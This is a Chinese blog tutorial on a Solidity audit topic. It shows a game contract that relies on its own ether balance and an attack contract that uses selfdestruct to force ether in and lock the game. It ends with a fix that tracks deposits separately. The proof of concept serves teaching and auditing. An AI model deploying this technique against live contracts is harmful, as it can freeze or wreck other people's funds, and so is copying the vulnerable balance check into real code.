标签:审计 ether 漏洞 uint address balance 合约 自毁
简介
Solidity有自毁函数selfdestruct(),该函数可以对创建的合约进行自毁,并且可以将合约里的Ether转到自毁函数定义的地址中。
在有些文章中 有把这个漏洞叫做强行将以太币置入合约
,用自毁功能强力发送以太币
复现
仔细看注释就可以了
pragma solidity ^0.6.0;
contract EtherGame{
// 这个游戏的赢家是成为第7个存入1 ether的玩家
uint public targetAmount = 7 ether;
address public winner;
// uint balance;
function deposit() public payable{
require(msg.value == 1 ether,"You can only send 1 ether"); // 只能存放1个ether
uint balance = address(this).balance;
// balance += msg.value;
require(balance<=targetAmount,"Game is over"); // 如果余额大于了7 游戏就结束了
if(balance == targetAmount){
winner = msg.sender;
}
}
function claimReward() public { // 获取奖励
require(msg.sender == winner,"Not winner");
(bool sent,) = msg.sender.call{value:address(this).balance}("");
require(sent);
}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
contract Attack {
function attack(address payable target) public payable {
// 可以通过发送以太打破游戏平衡
// 大于7就打破了
// cast address to payable
selfdestruct(target);
}
}
- 第一个地址(小明) 游戏玩家
- 第二个地址(小刚) 游戏玩家
- 第三个地址(小雪) Hack
https://youtu.be/CmQp1KdIF3c
流程也就是:
- 部署两个合约
- 小明和小刚分别存入
1 ether
- 然后小雪出来捣乱破坏规则,存入
5 ether
- 然后
EtherGame
这个合约里 已经有7 ether
了 - 再去用游戏玩家去存入
ether
就会抛出异常Game is over
修复
不依赖address(this).balance
把uint balance = address(this).balance;
改为balance += msg.value;
标签:审计,ether,漏洞,uint,address,balance,合约,自毁 来源: https://www.cnblogs.com/secxue/p/14811435.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。